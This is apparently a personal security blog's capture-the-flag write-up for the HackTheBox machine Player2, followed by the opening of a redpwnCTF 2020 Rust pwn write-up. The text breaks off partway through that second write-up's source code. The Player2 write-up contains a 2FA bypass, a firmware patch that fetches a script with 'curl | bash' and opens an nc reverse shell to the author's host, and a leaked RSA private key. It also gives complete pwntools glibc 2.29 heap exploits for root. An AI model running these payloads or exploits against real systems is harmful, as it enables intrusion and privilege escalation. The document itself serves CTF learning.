Search This Blog

Saturday, June 27, 2020

Player2 HacktheBox Writeup


Player2 was a challenging but very fun box by MrR3boot and b14ckh34rt. The highlight of the box for me is the finale 2.29 heap pwn!  In my opinion, if there were no unintended routes, this would have been by far the hardest box so far, but some of these alternative solutions were never patched.

On the intial enum, we find on player2.htb a link to product.player2.htb regarding the Protobs product.  It's a login page, so it's time to hopefully find some creds.  On an initial nmap port scan, we also find the following ports: 22, 80, 8545.  Going to port 8545, we see an invalid twirp route message, giving away the fact that twirp is used on this box. While dirbing player2.htb, we also come across the proto directory.  Documentation at this point basically told me what to do:

https://twitchtv.github.io/twirp/docs/curl.html
https://github.com/twitchtv/twirp/blob/master/docs/routing.md

From the proto directory, let's try to find some configuration info by fuzzing for the .proto file.  Using some different wordlists with wfuzz on /proto/FUZZ.proto, I came across generated.proto:

syntax = "proto3";

package twirp.player2.auth;
option go_package = "auth";

service Auth {
  rpc GenCreds(Number) returns (Creds);
}

message Number {
  int32 count = 1; // must be > 0
}

message Creds {
  int32 count = 1;
  string name = 2;
  string pass = 3;
}

Note how twirp documentation mentions the route as the following:

POST /twirp/<package>.<Service>/<Method>

From the source above, the route will be twirp.player2.auth.Auth/GenCreds... some nice credentials should come from here!

Using the twirp documentation with curl, I played around and curled to the service route based on the format from the documentation.

curl -X POST "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}'

However, we end up getting a lot of different creds and most of them don't work.  I recieved the following:
{"name":"snowscan","pass":"Lp-+Q8umLW5*7qkc"}
{"name":"snowscan","pass":"ze+EKe-SGF^5uZQX"}
{"name":"jkr","pass":"tR@dQnwnZEk95*6#"}
{"name":"mprox","pass":"ze+EKe-SGF^5uZQX"}
{"name":"jkr","pass":"XHq7_WJTA?QD_?E2"}

With some different varaitions, I determined that the following worked:
jkr:Lp-+Q8umLW5*7qkc

However, once we login, it asks for OTP.  It tells us that we can either use the OTP that was sent to mobile or backup codes.  I did notice an initial api link from dirb originally.  This page is called totp, which is a type of otp.  Thinking logically, plugging in /api/totp actually worked.  It also mentioned backup codes.  Playing around, there seems to be “action” parameter on the api.  After a while, I figured out that sending in the logged in session id along with a request for “backup_codes” (a logical name for what we are looking for) gave us the TOTP. 

curl -X POST "http://product.player2.htb/api/totp" --header "Content-Type:application/json" -d '{"action":"backup_codes"}' --cookie "PHPSESSID=06plq8egcf5e8eijvhs8abjs7q"

{"user":"jkr","code":"29389234823423"}

After rooting the box, hevr pointed out that there should be a type juggling attack here as the 2FA bypass:

curl -X POST "http://product.player2.htb/api/totp" --header "Content-Type:application/json" -d '{"action":0}' --cookie "PHPSESSID=06plq8egcf5e8eijvhs8abjs7q"

Inside the following page, we see a mention to a pdf and a link to a firmware download.  It mentions that the firmware is signed.  Extracting the binary file from the tar, I opened it up in a hex editor and saw the ELF header appear 64 bytes into the file.  It seems safe here to assume that the first 64 bytes is probably the signature.  Let's take out the first 64 bytes: dd if=Protobs.bin bs=64 skip=1 of=firmware.

While reversing it, I noticed how the main function called another function, which in turn called system on a string.

0x004013c9      55             push rbp
|           0x004013ca      4889e5         mov rbp, rsp
|           0x004013cd      4883ec10       sub rsp, 0x10
|           0x004013d1      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004013da      488945f8       mov qword [local_8h], rax
|           0x004013de      31c0           xor eax, eax
|           0x004013e0      488d3dbd0c00.  lea rdi, qword str.stty_raw__echo_min_0_time_10 ; 0x4020a4 ;
 "stty raw -echo min 0 time 10"
|           0x004013e7      e884fcffff     call sym.imp.system         ; int system(const char *string)
|           0x004013ec      e8bffcffff     call sym.imp.getchar        ; int getchar(void)
|           0x004013f1      8945f4         mov dword [local_ch], eax
|           0x004013f4      837df41b       cmp dword [local_ch], 0x1b
|       ,=< 0x004013f8      7416           je 0x401410
|       |   0x004013fa      488d3dc00c00.  lea rdi, qword str.stty_sane ; 0x4020c1 ; "stty sane"
|       |   0x00401401      e86afcffff     call sym.imp.system         ; int system(const char *string)
|       |   0x00401406      bf00000000     mov edi, 0
|       |   0x0040140b      e8c0fcffff     call sym.imp.exit

We can patch binaries with dd to call system on a different string and then reattach the 64 byte signature:

First, finding the offset to the first string with stty.
strings -t d Protobs.bin | grep stty

Then, I created a “malicious” file for the next dd to transfer into and replace the string.  It contained the following contents:
curl 10.10.14.7/z | bash

The “z” on my side is just a shellscript containing the following:
curl http://10.10.14.7/nc -o /tmp/nc
chmod +x /tmp/nc
/tmp/nc 10.10.14.7 1337 -e /bin/sh

The reason I kept the original command so small was because I was being cautious about messing up the binary with a string that is too long.

Then, lastly, with the final patching:
dd if=malicious of=Protobs.bin obs=1 seek=8420 conv=notrunc

Uploading this should pop us a shell back as www-data.
Looking in /etc/passwd, there are two potential users to go for: egre55 and observer.  I also noticed that there is an account for the mosquitto service.  The service is also running on port 1883.  Reading around, the SYS-topic part of it was quite interesting.

To quote the article, SYS topics are a special class of topics under which the broker publishes data, typically for monitoring purposes. SYS topics are not a formal standard but are an established practice in MQTT brokers.

Going to it with the following command:
mosquitto_sub -h localhost -p 1883 -v -t '$SYS/#'

We end up seeing an SSH key getting dumped after a while:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7Gc/OjpFFvefFrbuO64wF8sNMy+/7miymSZsEI+y4pQyEUBA
R0JyfLk8f0SoriYk0clR/JmY+4mK0s7+FtPcmsvYgReiqmgESc/brt3hDGBuVUr4
et8twwy77KkjypPy4yB0ecQhXgtJNEcEFUj9DrOq70b3HKlfu4WzGwMpOsAAdeFT
+kXUsGy+Cp9rp3gS3qZ2UGUMsqcxCcKhn92azjFoZFMCP8g4bBXUgGp4CmFOtdvz
SM29st5P4Wqn0bHxupZ0ht8g30TJd7FNYRcQ7/wGzjvJzVBywCxirkhPnv8sQmdE
+UAakPZsfw16u5dDbz9JElNbBTvwO9chpYIs0QIDAQABAoIBAA5uqzSB1C/3xBWd
62NnWfZJ5i9mzd/fMnAZIWXNcA1XIMte0c3H57dnk6LtbSLcn0jTcpbqRaWtmvUN
wANiwcgNg9U1vS+MFB7xeqbtUszvoizA2/ScZW3P/DURimbWq3BkTdgVOjhElh6D
62LlRtW78EaVXYa5bGfFXM7cXYsBibg1+HOLon3Lrq42j1qTJHH/oDbZzAHTo6IO
91TvZVnms2fGYTdATIestpIRkfKr7lPkIAPsU7AeI5iAi1442Xv1NvGG5WPhNTFC
gw4R0V+96fOtYrqDaLiBeJTMRYp/eqYHXg4wyF9ZEfRhFFOrbLUHtUIvkFI0Ya/Y
QACn17UCgYEA/eI6xY4GwKxV1CvghL+aYBmqpD84FPXLzyEoofxctQwcLyqc5k5f
llga+8yZZyeWB/rWmOLSmT/41Z0j6an0bLPe0l9okX4j8WOSmO6TisD4WiFjdAos
JqiQej4Jch4fTJGegctyaOwsIVvP+hKRvYIwO9CKsaAgOQySlxQBOwMCgYEA7l+3
JloRxnCYYv+eO94sNJWAxAYrcPKP6nhFc2ReZEyrPxTezbbUlpAHf+gVJNVdetMt
ioLhQPUNCb3mpaoP0mUtTmpmkcLbi3W25xXfgTiX8e6ZWUmw+6t2uknttjti97dP
QFwjZX6QPZu4ToNJczathY2+hREdxR5hR6WrJpsCgYEApmNIz0ZoiIepbHchGv8T
pp3Lpv9DuwDoBKSfo6HoBEOeiQ7ta0a8AKVXceTCOMfJ3Qr475PgH828QAtPiQj4
hvFPPCKJPqkj10TBw/a/vXUAjtlI+7ja/K8GmQblW+P/8UeSUVBLeBYoSeiJIkRf
PYsAH4NqEkV2OM1TmS3kLI8CgYBne7AD+0gKMOlG2Re1f88LCPg8oT0MrJDjxlDI
NoNv4YTaPtI21i9WKbLHyVYchnAtmS4FGqp1S6zcVM+jjb+OpBPWHgTnNIOg+Hpt
uaYs8AeupNl31LD7oMVLPDrxSLi/N5o1I4rOTfKKfGa31vD1DoCoIQ/brsGQyI6M
zxQNDwKBgQCBOLY8aLyv/Hi0l1Ve8Fur5bLQ4BwimY3TsJTFFwU4IDFQY78AczkK
/1i6dn3iKSmL75aVKgQ5pJHkPYiTWTRq2a/y8g/leCrvPDM19KB5Zr0Z1tCw5XCz
iZHQGq04r9PMTAFTmaQfMzDy1Hfo8kZ/2y5+2+lC7wIlFMyYze8n8g==
-----END RSA PRIVATE KEY-----


Testing it on the two possible users, it turned out that it works for observer.  And now user has been pwned!  

Finally, we have hit the part for root.  It's a poison null byte on 2.29 (there also was an easier heap overflow unintended).  Anyways, make sure to read up on libc malloc.c for 2.29 on bminor's mirror of libc source before continuing!  The binary can be found in /opt/Configuration_Utility, and running checksec on it immediately informs us that it is patchelf'd to run ld and libc different from the box's libc and ld.  Personally, I like to use all of pwndbg's capabilities with libc debug symbols, so I ran the following commands to switch the interpreter and rpath to default and debugged on a headless ubuntu VM running the same libc version:

patchelf Protobs --set-interpreter /lib64/ld-linux-x86-64.so.2
patchelf Protobs --remove-rpath /lib/x86_64-linux-gnu/

Anyways, let us begin the pwning!  Here is the binary reversed with my comments.


//only 15 indices

typedef struct
{
  char[20] game;
  unsigned int contrast;
  unsigned int gamma;
  unsigned int xres;
  unsigned int yres;
  unsigned int controller;
  unsigned int desc;
  char *description;
}gamestruct;

void create(void)
{
  char *__dest;
  long lVar1;
  int iVar2;
  undefined4 uVar3;
  void *pvVar4;
  ssize_t sVar5;
  size_t sVar6;
  long in_FS_OFFSET;
  int local_448;
  char local_428 [19];
  undefined local_415;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = FUN_00400c8b();
  if (iVar2 < 0) {
    FUN_00400c3e();
  }
  pvVar4 = malloc(0x38); //so default, allocate to 0x40 tcachebin, note libc 2.29
  *(void **)(&DAT_00603060 + (long)iVar2 * 8) = pvVar4;
  __dest = *(char **)(&DAT_00603060 + (long)iVar2 * 8);
  putchar(10);
  puts("==New Game Configuration");
  printf(" [ Game                ]: ");
  fgets(local_428,0x400,stdin);
  readin(local_428);
  local_415 = 0;
  strncpy(__dest,local_428,0x14);
  uVar3 = readnum(" [ Contrast            ]: ");
  *(undefined4 *)(__dest + 0x14) = uVar3;
  uVar3 = readnum(" [ Gamma               ]: ");
  *(undefined4 *)(__dest + 0x18) = uVar3;
  uVar3 = readnum(" [ Resolution X-Axis   ]: ");
  *(undefined4 *)(__dest + 0x1c) = uVar3;
  uVar3 = readnum(" [ Resolution Y-Axis   ]: ");
  *(undefined4 *)(__dest + 0x20) = uVar3;
  uVar3 = readnum(" [ Controller          ]: ");
  *(undefined4 *)(__dest + 0x24) = uVar3;
  uVar3 = readnum(" [ Size of Description ]: "); //not nulled out another bug here!
  *(undefined4 *)(__dest + 0x28) = uVar3;
  if (*(int *)(__dest + 0x28) != 0) {
    printf(" [ Description         ]: ");
    sVar5 = read(0,local_428,0x200);
    readin(local_428);
    if (*(uint *)(__dest + 0x28) <= (uint)sVar5) {
      local_428[(ulong)*(uint *)(__dest + 0x28)] = 0;
    }
    pvVar4 = malloc((ulong)*(uint *)(__dest + 0x28));
    *(void **)(__dest + 0x30) = pvVar4; //another allocation
    lVar1 = *(long *)(__dest + 0x30);
    local_448 = 0;
    while( true ) {
      sVar6 = strlen(local_428); //counts all the way till null byte
      //what happenned above allows for poison null byte, it's copying strlen bytes rather than desc size bytes
      if (sVar6 < (ulong)(long)local_448) break;
      *(char *)((long)local_448 + lVar1) = local_428[(long)local_448];
      local_448 = local_448 + 1;
    }
  }
  putchar(10);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void delete(void)
{
  long lVar1;
  void *__ptr;
  uint uVar2;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  putchar(10);
  puts("==Delete Game Configuration");
  puts(" >>> Run the list option to see available configurations.");
  uVar2 = readnum(" [ Config Index    ]: ");
  if ((uVar2 < 0xf) && (*(long *)(&DAT_00603060 + (ulong)uVar2 * 8) != 0)) {
    __ptr = *(void **)(&DAT_00603060 + (ulong)uVar2 * 8);
    if (*(long *)((long)__ptr + 0x30) != 0) {
      free(*(void **)((long)__ptr + 0x30)); 
    }
    free(__ptr);
    *(undefined8 *)(&DAT_00603060 + (ulong)uVar2 * 8) = 0; 
  }
  else {
    puts("  [!] Invalid index.");
  }
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void readin(char *pcParm1)
{
  long lVar1;
  char *pcVar2;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar2 = strchr(pcParm1,0xd);
  if (pcVar2 != (char *)0x0) {
    *pcVar2 = 0;
  }
  pcVar2 = strchr(pcParm1,10);
  if (pcVar2 != (char *)0x0) {
    *pcVar2 = 0;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


ulong readnum(char *pcParm1)
{
  ulong uVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf(pcParm1);
  fgets(local_28,0x10,stdin);
  uVar1 = strtol(local_28,(char **)0x0,10);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar1 & 0xffffffff;
}



void show(void)
{
  long lVar1;
  long lVar2;
  uint uVar3;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  putchar(10);
  puts("==Read Game Configuration");
  puts(" >>> Run the list option to see available configurations.");
  uVar3 = readnum(" [ Config Index    ]: ");
  if ((uVar3 < 0xf) && (*(long *)(&DAT_00603060 + (ulong)uVar3 * 8) != 0)) {
    lVar2 = *(long *)(&DAT_00603060 + (ulong)uVar3 * 8);
    printf("  [ Game                ]: %s\n",lVar2);
    printf("  [ Contrast            ]: %u\n",(ulong)*(uint *)(lVar2 + 0x14));
    printf("  [ Gamma               ]: %u\n",(ulong)*(uint *)(lVar2 + 0x18));
    printf("  [ Resolution X-Axis   ]: %u\n",(ulong)*(uint *)(lVar2 + 0x1c));
    printf("  [ Resolution Y-Axis   ]: %u\n",(ulong)*(uint *)(lVar2 + 0x20));
    printf("  [ Controller          ]: %u\n",(ulong)*(uint *)(lVar2 + 0x24));
    if (*(long *)(lVar2 + 0x30) != 0) {
      printf("  [ Description         ]: %s\n",*(undefined8 *)(lVar2 + 0x30));
    }
  }
  else {
    puts("  [!] Invalid index.");
  }
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void list(void)
{
  long lVar1;
  long in_FS_OFFSET;
  uint local_1c;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  putchar(10);
  puts("==List of Configurations");
  local_1c = 0;
  while (local_1c < 0xf) {
    if (*(long *)(&DAT_00603060 + (ulong)local_1c * 8) != 0) {
      printf(" [%02u] : %s\n",(ulong)local_1c,*(undefined8 *)(&DAT_00603060 + (ulong)local_1c *8));
    }
    local_1c = local_1c + 1;
  }
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;

void main(void)
{
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("protobs@player2:~$ ");
  fgets(local_28,0x10,stdin);
  switch(local_28[0]) {
  case '0':
    help();
    break;
  case '1':
    list();
    break;
  case '2':
    create();
    break;
  case '3':
    show();
    break;
  case '4':
    delete();
    break;
  case '5':
    FUN_00400be7();
    break;
  default:
    putchar(10);
    puts("[!] Invalid option. Enter \'0\' for available options.");
    putchar(10);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Basically, there are two bugs, a poison null byte and a UAF.  UAF comes from the fact that the game struct, which belongs to the 0x40 tcache bin due to 0x38 allocations, does not zero out the pointer to description when freed.  Therefore, we can make a game with a description, free it, get the same game chunk back with another allocation, and get the same description by just setting the size as 0 as the pointer will remain the same.  And in the alloc function, there is also a poison null byte due to the way it read in our description from how it indexes to attach the null byte (note the bug there).  Using the UAF, we can grab both a heap and libc leak.  Heap leak can be grabbed from tcache bin pointers.  Libc leak can be grabbed from unsorted bin pointers, which can easily be done since there is no limit to how big we allocate, so we can just allocate some bins in the largebin size area to fall into unsorted bin. 

As for the poison null byte, it's a similar concept as older poison null bytes.  Only difference is that in libc 2.29, there is the following check:

    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

Bypassing this isn't too hard.  Just forge a fake chunk right above the region you want to coalesce with the correct size (remember the prev_size issue too in poison null bytes; that prev_size determines where it is going to check and how much it will coalesce by!).  However, you will also need some heap pointers to point back to the location of the forged chunk to bypass a more classic heap fd->bk =P and bk->fd =P unlink macro check. 

Below is the unlink macro:

#define unlink(AV, P, BK, FD) {                                            \
   if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
     malloc_printerr ("corrupted size vs. prev_size");                  \
   FD = P->fd;                                      \
   BK = P->bk;                                      \
   if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
     malloc_printerr ("corrupted double-linked list");                  \
   else {                                      \
       FD->bk = BK;                                  \
BK->fd = FD; 

Somehow I missed the really obvious massive heap overflow above from the buffer issue, as sampriti, R4J, and hevr pointed out.  Notice how the buffer for the name and the desc are on the same place on the stack, but the fgets for the name allows for a lot more space on the buffer (0x400) while the read for the heap is capped at 0x200.  We can simply fill the amount of the heap buffer all the way and also do something similar for name originally... copying using strlen will copy everything over, allowing for a massive heap overflow, and doing the rest of the classic heap stuff with tcache to probably get arbitrary write.  This method of exploitation would have been much simpler.

Anyways, afterwards, you should be able to coalesce, get heap overlap, and pop a shell.  Now let's write the exploit.  Make sure to debug along if you were not able to solve this!

First thing I do is write all the helper functions.  

from pwn import *

#context.log_level = 'debug'
#no pie
bin = ELF('./Protobs')
libc = ELF('./libc.so.6')

p = process('./Protobs')

#it's suid so life becomes even easier!
#bss at 0x603060
def wait():
    p.recvrepeat(0.1)

def alloc(size, desc, game='', contrast=0,gamma=0,xres=0,yres=0,controller=0):
    p.sendline('2')
    wait()
    p.sendline(game)
    wait()
    p.sendline(str(contrast))
    wait()
    p.sendline(str(gamma))
    wait()
    p.sendline(str(xres))
    wait()
    p.sendline(str(yres))
    wait()
    p.sendline(str(controller))
    wait()
    p.sendline(str(size))
    wait()
    if size is not 0:
        p.sendline(desc)
        wait()


def free(index):
    p.sendline('4')
    wait()
    p.sendline(str(index))
    wait()

def show(index):
    p.sendline('3')
    wait()
    p.sendline(str(index))

Then I got a heap and libc leak using the UAF bug above.  It is important to keep track of how many tcachebins you have left in the 0x40 and try to keep it filled up, especially before the poison null byte, so they do not interfere with your poison null byte setup.  Hopefully, my comments below will help clear up any confusion.

small = 0x198
big = 0x4f0 #500
p.recvrepeat(2)
wait()
#fill with 6 tcache bins
for i in range(3):
    alloc(0x30, 'A' * 0x20)
for i in range(3): 
    free(i) #6 chunks in tcache
alloc(0, 'blah') 
show(0) #5 chunks in tcache
p.recvuntil('[ Description         ]: ')
heapleak = p.recvline()[:-1]
heapleak = u64(heapleak.ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heapleak)) 
alloc(0x500, 'A' * 0x30) #4 chunks in tcache
alloc(0x200, 'A' * 0x30) #3 chunks in tcache, chunk index 2
free(2) #prevent top consolidation, back to 4 chunks in tcache
free(1) #for libc leaking, 5 chunks in tcache
alloc(0, 'blah') #4 chunks in tcache, chunk 1
show(1) #1 is taken up
p.recvuntil('[ Description         ]: ')
libcleak = p.recvline()[:-1]
libcleak = u64(libcleak.ljust(8, '\x00'))
libc.address = libcleak -  0x1e4c40 - 96
log.info("Libc Base: " + hex(libc.address)) 

As I mentioned earlier, I would prefer to have all the tcachebins for the game metadata structs filled so they do not interfere with my poison null byte setup.

#fill rest of tcache
for i in range(4):
    alloc(0x200, 'A' * 0x20) #2, 3, 4, 5
#empty it
for i in range(3):
    alloc(0, '') #6, 7, 8
for i in range(7):
    free(i+2)
 #7 chunks in 0x40 tcache
#tcache should be filled now

Now it's time for the poison null byte.  Just remember what I said before and you should be fine.  There is however one thing to note, and it's the size I chose to overwrite.  I allocated 0x4f0 for it so it becomes 0x500.  Not only do I avoid having to fill tcachebin for it before it does the coalesce/unsorted mechanism, but when I overwrite it, it will become 0x501 (prev in use is on) to 0x500.  This way, I won't have to deal with the libc checks that check the chunks afterwards as the size did not actually change.  Also, you will need to slowly write the poison null bytes by writing backwards byte by byte due to the way it transfers the data from the buffer to the heap in the allocation function.  You will also need to make sure you have a freed chunk in that coaelesced region to create heap overlap afterwards.

#now time for poison null byte
alloc(0x50, 'C' * 0x38 + p64(heapleak+0xa50)) #2
#wipe out null bytes to set up forged chunk correctly
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x38-i-1))
free(2) #continue setting up forged chunk
alloc(0x50, 'C' * 0x30 + p64(heapleak+0xa50))
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x30-i-1))
free(2)
alloc(0x50, 'C' * 0x28 + p64(small+0x38)) #2
#forged chunk should be good to go

alloc(small, 'D' * 0x100) #3
alloc(big, 'E' * 0x100) #4
alloc(0x210, '') #prevent top consolidation #5
free(3)
alloc(small, 'F' * (small)) #poison null byte
#set up fake prev_size
free(3)
for i in range(6):
    alloc(small, 'F' * (small-i-1))
    free(3)
alloc(small, 'F'*(small-0x8)+p64(small+0x38))
free(3)
free(4) #chunk coaelesced now

Now you have coalesced region with a free chunk pointing to the same region, thereby creating heap overlap.  Technically, tcache poison by overwriting the fd pointers is very trivial, but beware the tcache count check.  This can be handled by allocating several tcache bins of the same size and then putting them all in the respective tcache bins, so when you poison the tcache bins, you will have enough for tcache counts to not worry about it becoming -1 and thus not giving the target region back.  Then overwrite free hook with system and pop a shell with a string since you control the rdi value for free.

alloc(0x20, 'temp') 
alloc(0x20, 'ZZZZ') 
alloc(0x60, 'Y' * 0x20) #6
alloc(0x60, 'Y'*0x20) #so tcache count doesn't drop, bypass that check
alloc(0x60, 'Y' * 0x20)
free(6)
free(7)
free(8)
alloc(small, 'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook'])) #overlapped chunks 
alloc(0x60, '')
#above was a tcache poison, now overwrite malloc hook
magic = [0xe237f, 0xe2383, 0xe2386]
alloc(0x60, p64(libc.symbols['system'])) #8, because it frees the desc first, we can't have it do that
alloc(0x300, '', game='/bin/bash\x00') #9
free(9)
p.interactive()

For remote version, I just used ssh from pwn tools and slowed down the timing.

from pwn import *

#context.log_level = 'debug'
#no pie
bin = ELF('./Protobs')
libc = ELF('./libc.so.6')


remoteShell = ssh(host = 'player2.htb', user='observer', keyfile='./key')
remoteShell.set_working_directory('/opt/Configuration_Utility')
p = remoteShell.process('./Protobs')

#it's suid so life becomes even easier!
#bss at 0x603060
def wait():
    p.recvrepeat(0.3)

def alloc(size, desc, game='', contrast=0,gamma=0,xres=0,yres=0,controller=0):
    p.sendline('2')
    wait()
    p.sendline(game)
    wait()
    p.sendline(str(contrast))
    wait()
    p.sendline(str(gamma))
    wait()
    p.sendline(str(xres))
    wait()
    p.sendline(str(yres))
    wait()
    p.sendline(str(controller))
    wait()
    p.sendline(str(size))
    wait()
    if size is not 0:
        p.sendline(desc)
        wait()


def free(index):
    p.sendline('4')
    wait()
    p.sendline(str(index))
    wait()

def show(index):
    p.sendline('3')
    wait()
    p.sendline(str(index))

small = 0x198
big = 0x4f0 #500
p.recvrepeat(2)
wait()
#fill with 6 tcache bins
for i in range(3):
    alloc(0x30, 'A' * 0x20)
for i in range(3): 
    free(i) #6 chunks in tcache
alloc(0, 'blah') 
show(0) #5 chunks in tcache
p.recvuntil('[ Description         ]: ')
heapleak = p.recvline()[:-1]
heapleak = u64(heapleak.ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heapleak)) 
alloc(0x500, 'A' * 0x30) #4 chunks in tcache
alloc(0x200, 'A' * 0x30) #3 chunks in tcache, chunk index 2
free(2) #prevent top consolidation, back to 4 chunks in tcache
free(1) #for libc leaking, 5 chunk in tcache
alloc(0, 'blah') #4 chunks in tcache, chunk 1
show(1) #1 is taken up
p.recvuntil('[ Description         ]: ')
libcleak = p.recvline()[:-1]
libcleak = u64(libcleak.ljust(8, '\x00'))
libc.address = libcleak -  0x1e4c40 - 96
log.info("Libc Base: " + hex(libc.address)) #know that read maxes out at 0x200
#fill rest of tcache
for i in range(4):
    alloc(0x200, 'A' * 0x20) #2, 3, 4, 5
#empty it
for i in range(3):
    alloc(0, '') #6, 7, 8
for i in range(7):
    free(i+2)
 #7 chunks in 0x40 tcache
#tcache should be filled now
#now time for poison null byte
alloc(0x50, 'C' * 0x38 + p64(heapleak+0xa50)) #2
#wipe out null bytes to set up forged chunk correctly
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x38-i-1))
free(2) #continue setting up forged chunk
alloc(0x50, 'C' * 0x30 + p64(heapleak+0xa50))
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x30-i-1))
free(2)
alloc(0x50, 'C' * 0x28 + p64(small+0x38)) #2
#forged chunk should be good to go

alloc(small, 'D' * 0x100) #3
alloc(big, 'E' * 0x100) #4
alloc(0x210, '') #prevent top consolidation #5
free(3)
alloc(small, 'F' * (small)) #poison null byte
#set up fake prev_size
free(3)
for i in range(6):
    alloc(small, 'F' * (small-i-1))
    free(3)
alloc(small, 'F'*(small-0x8)+p64(small+0x38))
free(3)
free(4) #chunk coaelesced now
p.interactive()
alloc(0x20, 'temp') 
alloc(0x20, 'ZZZZ') 
alloc(0x60, 'Y' * 0x20) #6
alloc(0x60, 'Y'*0x20) #so tcache count doesn't drop, bypass that check
alloc(0x60, 'Y' * 0x20)
free(6)
free(7)
free(8)
alloc(small, 'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook'])) #overlapped chunks 
alloc(0x60, '')
magic = [0xe237f, 0xe2383, 0xe2386]
alloc(0x60, p64(libc.symbols['system'])) #8, because it frees the desc first, we can't have it do that
alloc(0x300, '', game='/bin/sh\x00') #9
free(9)
p.interactive()

And you should now have a root shell!  During this box's lifecycle, there were actually several other unintendeds and alternative methods that made this box easier, one of which was the large heap overflow I mentioned above, which could make tcache poisoning trivial.

Another one D3v17 and I discovered early on when stracing the binary was that having it patched-elf'd made it search from ./tls/x86_64/x86_64/libc.so.6 and a few other local sub-directories first before checking the local directory for the libc file. We had write permissions and were able to create one of those directories with a patched libc that redirected one of the program function calls to just call system("/bin/sh"). This was patched later on.

Xct also took root blood first with an unintended related to a cron job that would execute python files as root from a directory www-data can write to. These files were broadcast.py and connection.py from /var/www/product/protobs, opening up an easy gateway to root. This path was patched as well.

Lastly, here is a one more unintended/alternative path I heard from both D3v17 and xct. To quote D3v17: "A user can upload inotifywait (static binary) and then start monitoring /home folder using inotifywait -m -r /home. Inotifywait will show that /.ssh/id_rsa is opened,read and closed. So the user can replace id_rsa with a symlink to /root/root.txt and read the flag using mqtt."

Regardless, this box was still very fun! Congrats to b14ckh34rt and MrR3boot, who always produces engaging and exciting content!


Thursday, June 25, 2020

RedpwnCTF 2020 Rust Pwn Writeups (Tetanus, Tetanus Shot)

During redpwnCTF 2020, there were 2 Rust pwnables. The first one was quite trivial with an unsafe block of code, but the second one was much more interesting and subtle. Since Rust is notoriously difficult to reverse, the author Poortho was nice enough to give us source.

Tetanus:
Libc was version 2.30 (the Rust pwns were written to use the system allocator), meaning we will have to consider the extra double free protections added onto tcache since 2.28. Here was the source:

#![feature(alloc_system)]

#![allow(while_true)]

extern crate alloc_system;

use std::collections::VecDeque;
use std::io;
use std::process;
use std::io::Write;
use std::ptr;

fn menu() {
    println!("1. Create a list");
    println!("2. Delete a list");
    println!("3. Edit a list");
    println!("4. Prepend to list");
    println!("5. Append to list");
    println!("6. View an element");
    println!("7. Exit");
}

fn create(lists: &mut Vec<VecDeque<i64>>) {
    println!("How big should this list be?");
    let mut list_size = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_size)
        .expect("failed to read input.");
    let list_size: usize = list_size.trim().parse().expect("invalid input");

    let new_vecdeque = VecDeque::with_capacity(list_size);

    lists.push(new_vecdeque);

    println!("Done!");
}

fn delete(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to delete?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    unsafe {
        ptr::drop_in_place(vec_deque);
    }

    println!("Done!");
}

fn edit(lists: &mut Vec<VecDeque<i64>>) {
    println!("Which list do you want to edit?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

    let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();

    println!("Okay, which element do you want to edit?");
    let mut list_i = String::new();
    prompt();
    io::stdin()
        .read_line(&mut list_i)
        .expect("failed to read input.");
    let list_i: usize = list_i.trim().parse().expect("invalid input");

